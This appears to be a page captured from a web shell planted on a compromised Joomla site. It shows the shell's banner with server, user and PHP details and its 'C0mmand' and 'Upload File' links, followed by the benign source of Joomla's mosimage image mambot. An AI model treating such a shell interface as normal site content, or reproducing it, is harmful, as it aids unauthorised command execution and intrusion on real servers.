|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/dialektologia/web/mambots/content/mediaplayer/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* @version $Id: mosimage.php 5941 2006-12-06 12:43:29Z predator $
* @package Joomla
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );
$_MAMBOTS->registerFunction( 'onPrepareContent', 'botMosImage' );
/**
*/
function botMosImage( $published, &$row, &$params, $page=0 ) {
global $database, $_MAMBOTS;
// simple performance check to determine whether bot should process further
if ( strpos( $row->text, 'mosimage' ) === false ) {
return true;
}
// expression to search for
$regex = '/{mosimage\s*.*?}/i';
// check whether mosimage has been disabled for page
// check whether mambot has been unpublished
if (!$published || !$params->get( 'image' )) {
$row->text = preg_replace( $regex, '', $row->text );
return true;
}
//count how many {mosimage} are in introtext if it is set to hidden.
$introCount=0;
if ( ! $params->get( 'introtext' ) & ! $params->get( 'intro_only') )
{
preg_match_all( $regex, $row->introtext, $matches );
$introCount = count ( $matches[0] );
}
// find all instances of mambot and put in $matches
preg_match_all( $regex, $row->text, $matches );
// Number of mambots
$count = count( $matches[0] );
// mambot only processes if there are any instances of the mambot in the text
if ( $count ) {
// check if param query has previously been processed
if ( !isset($_MAMBOTS->_content_mambot_params['mosimage']) ) {
// load mambot params info
$query = "SELECT params"
. "\n FROM #__mambots"
. "\n WHERE element = 'mosimage'"
. "\n AND folder = 'content'"
;
$database->setQuery( $query );
$database->loadObject($mambot);
// save query to class variable
$_MAMBOTS->_content_mambot_params['mosimage'] = $mambot;
}
// pull query data from class variable
$mambot = $_MAMBOTS->_content_mambot_params['mosimage'];
$botParams = new mosParameters( $mambot->params );
$botParams->def( 'padding' );
$botParams->def( 'margin' );
$botParams->def( 'link', 0 );
$images = processImages( $row, $botParams, $introCount );
// store some vars in globals to access from the replacer
$GLOBALS['botMosImageCount'] = 0;
$GLOBALS['botMosImageParams'] =& $botParams;
$GLOBALS['botMosImageArray'] =& $images;
//$GLOBALS['botMosImageArray'] =& $combine;
// perform the replacement
$row->text = preg_replace_callback( $regex, 'botMosImage_replacer', $row->text );
// clean up globals
unset( $GLOBALS['botMosImageCount'] );
unset( $GLOBALS['botMosImageMask'] );
unset( $GLOBALS['botMosImageArray'] );
unset( $GLOBALS['botJosIntroCount'] );
return true;
}
}
function processImages ( &$row, &$params, &$introCount ) {
global $mosConfig_absolute_path, $mosConfig_live_site;
$images = array();
// split on \n the images fields into an array
$row->images = explode( "\n", $row->images );
$total = count( $row->images );
$start = $introCount;
for ( $i = $start; $i < $total; $i++ ) {
$img = trim( $row->images[$i] );
// split on pipe the attributes of the image
if ( $img ) {
$attrib = explode( '|', trim( $img ) );
// $attrib[0] image name and path from /images/stories
// $attrib[1] alignment
if ( !isset($attrib[1]) || !$attrib[1] ) {
$attrib[1] = '';
}
// $attrib[2] alt & title
if ( !isset($attrib[2]) || !$attrib[2] ) {
$attrib[2] = 'Image';
} else {
$attrib[2] = htmlspecialchars( $attrib[2] );
}
// $attrib[3] border
if ( !isset($attrib[3]) || !$attrib[3] ) {
$attrib[3] = 0;
}
// $attrib[4] caption
if ( !isset($attrib[4]) || !$attrib[4] ) {
$attrib[4] = '';
$border = $attrib[3];
} else {
$border = 0;
}
// $attrib[5] caption position
if ( !isset($attrib[5]) || !$attrib[5] ) {
$attrib[5] = '';
}
// $attrib[6] caption alignment
if ( !isset($attrib[6]) || !$attrib[6] ) {
$attrib[6] = '';
}
// $attrib[7] width
if ( !isset($attrib[7]) || !$attrib[7] ) {
$attrib[7] = '';
$width = '';
} else {
$width = ' width: '. $attrib[7] .'px;';
}
// image size attibutes
$size = '';
if ( function_exists( 'getimagesize' ) ) {
$size = @getimagesize( $mosConfig_absolute_path .'/images/stories/'. $attrib[0] );
if (is_array( $size )) {
$size = ' width="'. $size[0] .'" height="'. $size[1] .'"';
}
}
// assemble the <image> tag
$image = '<img src="'. $mosConfig_live_site .'/images/stories/'. $attrib[0] .'"'. $size;
// no aligment variable - if caption detected
if ( !$attrib[4] ) {
if ($attrib[1] == 'left' OR $attrib[1] == 'right') {
$image .= ' style="float: '. $attrib[1] .';"';
} else {
$image .= $attrib[1] ? ' align="middle"' : '';
}
}
$image .=' hspace="6" alt="'. $attrib[2] .'" title="'. $attrib[2] .'" border="'. $border .'" />';
// assemble caption - if caption detected
$caption = '';
if ( $attrib[4] ) {
$caption = '<div class="mosimage_caption"';
if ( $attrib[6] ) {
$caption .= ' style="text-align: '. $attrib[6] .';"';
$caption .= ' align="'. $attrib[6] .'"';
}
$caption .= '>';
$caption .= $attrib[4];
$caption .= '</div>';
}
// final output
if ( $attrib[4] ) {
// initialize variables
$margin = '';
$padding = '';
$float = '';
$border_width = '';
$style = '';
if ( $params->def( 'margin' ) ) {
$margin = ' margin: '. $params->def( 'margin' ).'px;';
}
if ( $params->def( 'padding' ) ) {
$padding = ' padding: '. $params->def( 'padding' ).'px;';
}
if ( $attrib[1] ) {
$float = ' float: '. $attrib[1] .';';
}
if ( $attrib[3] ) {
$border_width = ' border-width: '. $attrib[3] .'px;';
}
if ( $params->def( 'margin' ) || $params->def( 'padding' ) || $attrib[1] || $attrib[3] ) {
$style = ' style="'. $border_width . $float . $margin . $padding . $width .'"';
}
$img = '<div class="mosimage" '. $style .' align="center">';
// display caption in top position
if ( $attrib[5] == 'top' && $caption ) {
$img .= $caption;
}
$img .= $image;
// display caption in bottom position
if ( $attrib[5] == 'bottom' && $caption ) {
$img .= $caption;
}
$img .='</div>';
} else {
$img = $image;
}
$images[] = $img;
}
}
return $images;
}
/**
* Replaces the matched tags an image
* @param array An array of matches (see preg_match_all)
* @return string
*/
function botMosImage_replacer( &$matches ) {
$i = $GLOBALS['botMosImageCount']++;
return @$GLOBALS['botMosImageArray'][$i];
}
?>